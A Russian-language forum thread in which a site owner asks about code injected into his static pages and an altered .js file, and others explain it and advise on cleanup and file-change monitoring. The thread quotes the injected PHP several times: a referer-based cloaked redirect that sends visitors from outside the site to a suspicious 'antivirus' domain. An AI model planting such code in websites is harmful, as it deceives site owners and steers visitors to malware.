На html-страницах появился этот код

 
0
 
PHP
ava
Chai | 10.04.2013, 07:51
Загружал уже давно в контент своего сайта обычные html-страницы. Решил пройтись с проверкой по контенту, смотрю, некоторые страницы были недавно изменены (по  дате модификации выявил), а в конце (еще в теле, в самом конце) добавлены такие строки:

if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');

Кроме того, на сервер мне закинули директорию со страницами, раздающими некие сломанные программы)
crack android navitel 5 5
crack cs4 illustrator
crack finereader 10
crack genius driver

И как часто сейчас встречаешь, типичные "комменты счастливых юзверей", вроде как
А зачем при скачивании файла просит ввести номер? Это бесплатно!?

Той же датой создания/модификации в корне лежал скриптовый файл *.js

function PhotoWindow(pic,param1,param2,param3,param4) {
   if (param4==1){
   var photowin = open("","photowindow","toolbar=0,scrollbars=1,fullscreen=1");
   }
   else {
   var photowin = open("","photowindow","toolbar=0,scrollbars=0,width="+param1+",height="+param2);
   }
   photowin.document.open();
   photowin.document.write("<html>\n");
   photowin.document.write("<title>"+param3+"</title>\n");
   photowin.document.write("<body bgcolor=\"#FFFFFF\" text=\"#003333\" link=\"#0033CC\" vlink=\"#000066\" alink=\"#0099CC\"");
   photowin.document.write("topmargin=\"0\" leftmargin=\"0\" marginheight=\"0\" marginwidth=\"0\">\n");
   photowin.document.write("<a href=\"#\" OnClick=\"self.close()\"><img src=\"/i/"+pic+"\" width="+param1+" height="+param2+" border=0></a><br>\n");
   photowin.document.write("<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?></body>\n");
   photowin.document.write("</html>");
   photowin.document.close();
   photowin.focus()
}

function CreateNewWindow(page,param) {
    var recWin = open(page,"recWindow",param);
}

function SubmitControl(tocheack){
if (document.all || document.getElementById){
     for (i=0; i < tocheack.length;i++){
          if(tocheack.elements[i].type.toLowerCase()=="submit"||tocheack.elements[i].type.toLowerCase()=="reset") {
             tocheack.elements[i].disabled = true
            }
         }
    }
}
function CreateWnd(url, width, height, wndname){
  if (wndname != ''){
      for (var i=0; i < parent.frames.length; i++){
           if (parent.frame[i].name == wndname){
               parent.frame[i].focus();
               return;
              }
          }
    }
  window.open(url, wndname,'width=' + width + ',height=' + height + ',resizable=1,scrollbars=yes,menubar=yes,status=yes');
}
function Formchecker(tocheck){
  if (tocheck.intopictitle != null &&tocheck.intopictitle.value.length == 0){
      alert('Пожалуйста, введите название темы!!');
      return false;
      }
  if (tocheck.inpost != null &&tocheck.inpost.value.length == 0){
      alert('Пожалуйста, введите текст сообщения!!');
      return false;
      }
  if (tocheck.membername != null &&tocheck.membername.value.length == 0){
      alert('Пожалуйста, введите ваше имя!!');
      return false;
     }
  if (tocheck.word != null &&tocheck.word.value.length == 0){
      alert('Пожалуйста, задайте значение поиска!!');
      return false;
     }
}
function pasteN(text){
  document.postform.inpost.focus();
  if (text != '') document.postform.inpost.value = document.postform.inpost.value + "" + text + "\n";
}
if (document.selection||document.getSelection) {Q=true} else {var Q=false}
var txt=''
function copyQ() {
txt=''
if (document.getSelection) {txt=document.getSelection()}
else if (document.selection) {txt=document.selection.createRange().text;}
txt='[q]'+txt+'[/q]\n'
}
function pasteQ() {
document.postform.inpost.value=document.postform.inpost.value+txt;
}

function sm(text){
if (text!="") paste(text, 1);
}

function SelectAll (chbox, chtext){
for(var i =0; i < chbox.form.elements.length; i++){
     if(chbox.form.elements[i].name.indexOf(chtext) == 0){
        chbox.form.elements[i].checked = chbox.checked;
       }
    }
}
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}

function zitata()
{
if (document.getSelection) {
    var str = document.getSelection()
    if (window.RegExp){
      var regstr = unescape("%20%20")
      var regexp = new RegExp(regstr, "g")
      str = str.replace(regexp, " ")
    }
  } else if (document.selection && document.selection.createRange) {
           var range = document.selection.createRange()
           var str = range.text
         } else var str = "Извините, ваш браузер не поддерживает это."
  document.forms[0].elements[6].value += '[q]'+str+'[/q]'
}
function GetId(objform, objinput){
var unid;
if(navigator.appName == "Microsoft Internet Explorer") {
document.writeln('<OBJECT classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95" ID=WMP WIDTH=1 HEIGHT=1></OBJECT>');
if(typeof(document.WMP) == "object" && typeof(document.WMP.ClientID) == "string") {unid = document.WMP.ClientID;}
else {unid = "None";}}
else {document.writeln('<EMBED TYPE="application/x-mplayer2" NAME=WMP WIDTH=2 HEIGHT=2></EMBED><br><br>');
setTimeout("NSShow()", 100);}
document.writeln('<input type="hidden" name="'+objinput+'">');
eval("document."+objform+"."+objinput+".value = unid");}
function NSShow(){
if(typeof(document.WMP) == "object"){unid = document.WMP.GetClientID();}
else {unid = "None";}
return;}



Довески убрал, но чо за код был в конце страниц, что он делает? Может, где еще проверить надо? И какие функции выполнял скриптовый файл? Я хочу выяснить, может, еще кто проник, кто за свой собственный хостинг платить не  хочет?
Comments (24)
ava
vollossy | 10.04.2013, 10:14 #
В конце страниц у тебя код, перенаправляющий на сторонний ресурс. Точнее, выводящий javascript, который перенаправляет пользователя на сторонний ресурс. Файлы, которые у тебя в корне лежат, стоит проверить антивирусом, т.к. скорее всего в них зловреды, да и сторонний ресурс какой-то мутный.
javascript особо не рассматривал, но он выводит какое-то окно с поиском да еще записывает указанный php-код в конец файлов.
ava
Чучмек | 10.04.2013, 11:13 #
Chai, тебя взломали.
Цитата (Chai @  10.4.2013,  06:51 findReferencedText)
но чо за код был в конце страниц, что он делает

Проверяет откуда был переход - если со страницы твоего сайта - перекидывает на base-file
ava
Chai | 10.04.2013, 19:47 #
А почему им так важно, чтобы переход был не со страниц моего сайта? Что за ребятки эти?

Здесь он помечен в блэклисте. Так что я прям боюсь перейти, чтобы на них полюбоваться.
ava
Sanchezzz | 10.04.2013, 19:57 #
Ну скорее всего он ответит что у вас дрявые скрипты.
ava
Chai | 10.04.2013, 20:06 #
Хех, там из скриптов есть только классический phpBB3. На эту отмазку напишу ихнему главному. Им уже написал. Зачем нужна такая проверка, если она не находит эти гадости? Чем они проверяют, не знаю, а только один раз нашли PHP-вирус, а эти не находят. А ведь достаточно посмотреть в блэклисты, они не скрываются.
ava
Чучмек | 10.04.2013, 20:45 #
Цитата (Chai @  10.4.2013,  19:47 findReferencedText)
А почему им так важно, чтобы переход был не со страниц моего сайта? 

Чтобы ты не догадался.
Если вести адрес в браузер и переходить со страницы на страницу - все Ок.
А если перейти на твой сайт по внешней ссылке,с поисковика например, то перекинет.
ava
Sanchezzz | 10.04.2013, 23:15 #
Чаще и за дырок форумов и закачивают шелы, особенно если они крякнутые=).
ava
Chai | 11.04.2013, 06:53 #
Щас набрал в браузере адрес одной из страниц сайта и выполнил переход на нее.
Как она выглядит запечатлел во вложении, а код внизу нее такой
<?
require_once($_SERVER['DOCUMENT_ROOT'].'/group/case/mn_t.gif');
?>

<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?></body>
</html>

Переход на base-file.com почему-то не выполнился. Почему?
ava
krypt3r | 11.04.2013, 07:10 #
Цитата
Чаще и за дырок форумов и закачивают шелы, особенно если они крякнутые=). 

Кто крякнутый? Шелл или бесплатный phpBB?
ava
MoLeX | 11.04.2013, 07:34 #
видно же что js скрипт не сработал.
ava
Sanchezzz | 11.04.2013, 10:40 #
Это в общем плане вы используете то что используют очень большое количество людей, каждая дырка даже в бесплатном форуме это угроза всему сайту.
Платные формы или крякнутые имеют уйму дыр.
ava
Chai | 11.04.2013, 15:15 #
Цитата (MoLeX @ 11.4.2013,  07:34)
видно же что js скрипт не сработал.

А, точно, я ж его прибил в корне еще ранее.

Мне щас коллега сказал, что на его форум новый юзер поимел права админа, потому что зашел в браузере в каком-то лине. Форум от SMF. Как это может быть, в линях что-то иначе исполняется?
ava
Aliance | 11.04.2013, 18:34 #
Цитата (Chai @  11.4.2013,  16:15 findReferencedText)
лине

в чем?
ava
Chai | 11.04.2013, 19:28 #
В линуксе. 
ava
MoLeX | 12.04.2013, 05:35 #
))))))
взлом сайта через линкус. забавно
ava
cia | 12.04.2013, 09:57 #
Цитата (Sanchezzz @  10.4.2013,  23:15 findReferencedText)
Чаще и за дырок форумов и закачивают шелы, особенно если они крякнутые=). 

Между крякнутым софтом и не крякнутым нет никакой разницы, за исключением того, что софт крякнутый. На безопасности и работоспособности софта это никак не сказывается (конечно исключения бывают, но они чрезвычайно редки). Не слушайте что говорят производители лицензионного софта - у них зада заключается в продаже оного софта.

Автор, проверь свой компьютер на вирусы и смени фтп-пароль. Дыры в пупулярных движках - это несомненно, но есть более часто встречаемый путь - вирус на сайт попадает с вашего компьютера: вы скачиваете троян, он дожидается когда вы подключаетесь к своему сайту и через интернет передаёт кому-то логин-пароль. Дальше робот выгружает вирус на ваш сайт.

Этого никто не афиширует, но есть даже партнёрские программы по вирусному заражению.

added later:
Цитата (MoLeX @  12.4.2013,  05:35 findReferencedText)
взлом сайта через линкус. забавно 

Ага, забавно. И при этом ещё очень многие считают, что на сайтах linux вирусов вообще нет.
ava
Chai | 17.04.2013, 11:29 #
Скорее всего троян сидит. Ходил на сайты, которые заражены HEUR:Trojan.Script.Generic или чем-то аналогичным. Выкачал весь htdocs на локальный комп с Каспервычем, но он вирусни не нашел. Или это результат удаление .js, или касперыч видит лишь работу в браузере.
ava
cia | 17.04.2013, 13:10 #
Вирус - это и есть js-код.
ava
Арантир | 17.04.2013, 13:55 #
Chai, почитайте про то, что такое вирусы, и о том, как работают антивирусы.
А то из ваших постов создается ощущение, что вы живете в сказочном мире, где есть только черное и белое.

php и js — это скриптовые языки, для них "антивирусы" не помогут. По сути, все, что не задумано разработчиком прямо или косвенно, — вредоностный код. Но откуда антивирусу знать, влепил ли этот код сюда какой-то школьник-хакер или сам разработчик?
Можно сделать бесконечный append пары строчек текста и от этого половина браузеров просто умрет при открытии сайта. Но вирусом это никогда не назовут.
Никакая программа не заменит собственного мозга. Сделайте себе cron на проверку измения в файлах и просматривайте отчеты, а при потребности — изменения в файлах, сделанные не вами, если такие произойдут.

В частности, настораживают вопросы на подобии
Цитата (Chai @  10.4.2013,  05:51 findReferencedText)
чо за код был в конце страниц, что он делает

Безусловно, человек и не может и не обязан знать все. Но, если вы решили вдаться в веб, то вам нужно заполнить очень много пробелов в своих познаниях в этой сфере. Если вы от этого далеки и вам просто нужен сайт — наймите для этого соответствующего специалиста.
Ибо для новичка веб — это как поле граблей.
ava
Chai | 18.04.2013, 07:05 #
[qoute]cia
Вирус - это и есть js-код.[/qoute]Удаленный файл .js был "штатным" файлом сайта. По дате его модификации я увидел, что кто-то в нем покопался, и все, что я смог увидеть инородного, это все тот же код

<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?>

Вот весь файл


function PhotoWindow(pic,param1,param2,param3,param4) {
   if (param4==1){
   var photowin = open("","photowindow","toolbar=0,scrollbars=1,fullscreen=1");
   }
   else {
   var photowin = open("","photowindow","toolbar=0,scrollbars=0,width="+param1+",height="+param2);
   }
   photowin.document.open();
   photowin.document.write("<html>\n");
   photowin.document.write("<title>"+param3+"</title>\n");
   photowin.document.write("<body bgcolor=\"#FFFFFF\" text=\"#003333\" link=\"#0033CC\" vlink=\"#000066\" alink=\"#0099CC\"");
   photowin.document.write("topmargin=\"0\" leftmargin=\"0\" marginheight=\"0\" marginwidth=\"0\">\n");
   photowin.document.write("<a href=\"#\" OnClick=\"self.close()\"><img src=\"/i/"+pic+"\" width="+param1+" height="+param2+" border=0></a><br>\n");
   photowin.document.write("<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?></body>\n");
   photowin.document.write("</html>");
   photowin.document.close();
   photowin.focus()
}

function CreateNewWindow(page,param) {
    var recWin = open(page,"recWindow",param);
}

function SubmitControl(tocheack){
if (document.all || document.getElementById){
     for (i=0; i < tocheack.length;i++){
          if(tocheack.elements[i].type.toLowerCase()=="submit"||tocheack.elements[i].type.toLowerCase()=="reset") {
             tocheack.elements[i].disabled = true
            }
         }
    }
}
function CreateWnd(url, width, height, wndname){
  if (wndname != ''){
      for (var i=0; i < parent.frames.length; i++){
           if (parent.frame[i].name == wndname){
               parent.frame[i].focus();
               return;
              }
          }
    }
  window.open(url, wndname,'width=' + width + ',height=' + height + ',resizable=1,scrollbars=yes,menubar=yes,status=yes');
}
function Formchecker(tocheck){
  if (tocheck.intopictitle != null &&tocheck.intopictitle.value.length == 0){
      alert('Пожалуйста, введите название темы!!');
      return false;
      }
  if (tocheck.inpost != null &&tocheck.inpost.value.length == 0){
      alert('Пожалуйста, введите текст сообщения!!');
      return false;
      }
  if (tocheck.membername != null &&tocheck.membername.value.length == 0){
      alert('Пожалуйста, введите ваше имя!!');
      return false;
     }
  if (tocheck.word != null &&tocheck.word.value.length == 0){
      alert('Пожалуйста, задайте значение поиска!!');
      return false;
     }
}
function pasteN(text){
  document.postform.inpost.focus();
  if (text != '') document.postform.inpost.value = document.postform.inpost.value + "" + text + "\n";
}
if (document.selection||document.getSelection) {Q=true} else {var Q=false}
var txt=''
function copyQ() {
txt=''
if (document.getSelection) {txt=document.getSelection()}
else if (document.selection) {txt=document.selection.createRange().text;}
txt='[q]'+txt+'[/q]\n'
}
function pasteQ() {
document.postform.inpost.value=document.postform.inpost.value+txt;
}

function sm(text){
if (text!="") paste(text, 1);
}

function SelectAll (chbox, chtext){
for(var i =0; i < chbox.form.elements.length; i++){
     if(chbox.form.elements[i].name.indexOf(chtext) == 0){
        chbox.form.elements[i].checked = chbox.checked;
       }
    }
}
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}

function zitata()
{
if (document.getSelection) {
    var str = document.getSelection()
    if (window.RegExp){
      var regstr = unescape("%20%20")
      var regexp = new RegExp(regstr, "g")
      str = str.replace(regexp, " ")
    }
  } else if (document.selection && document.selection.createRange) {
           var range = document.selection.createRange()
           var str = range.text
         } else var str = "Извините, ваш браузер не поддерживает это."
  document.forms[0].elements[6].value += '[q]'+str+'[/q]'
}
function GetId(objform, objinput){
var unid;
if(navigator.appName == "Microsoft Internet Explorer") {
document.writeln('<OBJECT classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95" ID=WMP WIDTH=1 HEIGHT=1></OBJECT>');
if(typeof(document.WMP) == "object" && typeof(document.WMP.ClientID) == "string") {unid = document.WMP.ClientID;}
else {unid = "None";}}
else {document.writeln('<EMBED TYPE="application/x-mplayer2" NAME=WMP WIDTH=2 HEIGHT=2></EMBED><br><br>');
setTimeout("NSShow()", 100);}
document.writeln('<input type="hidden" name="'+objinput+'">');
eval("document."+objform+"."+objinput+".value = unid");}
function NSShow(){
if(typeof(document.WMP) == "object"){unid = document.WMP.GetClientID();}
else {unid = "None";}
return;}

Как я понимаю, это форма поиска. Какой же кусок в нем имел критическое значение для исполнения всех зловредных инструкций на статических страницах контента?
ava
Chai | 18.04.2013, 11:03 #
Цитата (Arantir @ 17.4.2013,  13:55)
Сделайте себе cron на проверку измения в файлах и просматривайте отчеты, а при потребности — изменения в файлах, сделанные не вами, если такие произойдут.

Насколько я понимаю, мне, как пользователю *nux, на сервере доступна только моя домашняя директория или пространство, к которому хостер-админ предоставил мне права доступа. Есть ли у меня доступ к демону cron, его настройкам и расписанию?
ava
s0lman | 18.04.2013, 11:09 #
В админпанели должен быть крон доступен
ava
Арантир | 18.04.2013, 12:11 #
Цитата (Chai @  18.4.2013,  06:05 findReferencedText)
все, что я смог увидеть инородного, это все тот же код
Цитата (Chai @  18.4.2013,  06:05 findReferencedText)
Вот весь файл

Кажется, я только сейчас заметил, что кул-хацкер пытается добавить php-код с помощью JavaScript.  smile 
lol... На что надеялся тот, кто добавлял эти "зловредные" строчки? На то, что по стечению обстоятельств и настроек сервера в js-файлах исполняется php-код? У пользователя он то уж точно не выполнится.

Цитата (Chai @  18.4.2013,  06:05 findReferencedText)
А пока моя претензия к антивирю заключается в желании, чтобы он сверялся с базой зловредных ссылок в блэклистах.

Вы слишком узко смотрите на проблему. А если ваш сайт и есть блэк-лист? Антивирус его тогда вообще с концами удалить должен из-за кучи ссылок на вредные сайты...
В блэк-листах есть самые разнообразные сайты. В том числе клоны, фишинговые и т.п. Может вы просто разместили у себя ссылку на клон своего сайта с предупреждением о том, что это подделка под ваш сайт и призываете посетителей не пользоваться таким сайтом.
Ссылка — это всего лишь ссылка. Антивирус ничего не обязан с ней делать.
ava
drakylar | 30.07.2015, 11:42 #
Команда The_invulnerable временно предоставляет БЕСПЛАТНЫЙ аудит безопасности вашего веб-ресурса

Требование:иметь аккаунты на таких сайтах (не обязательно на всех), как:

1.fl.ru
2.freelancer.ru
3.freelancehunt.com
4.freelance.ru
5.weblancer.net

Контакты:

Почта: [email protected]
Vk: vk.com/drakylar
Сайт: countersite.org
Please register or login to write.
Firm of day
Вы также можете добавить свою фирму в каталог IT-фирм, и публиковать статьи, новости, вакансии и другую информацию от имени фирмы.
Подробнее
Contributors
advanced
Submit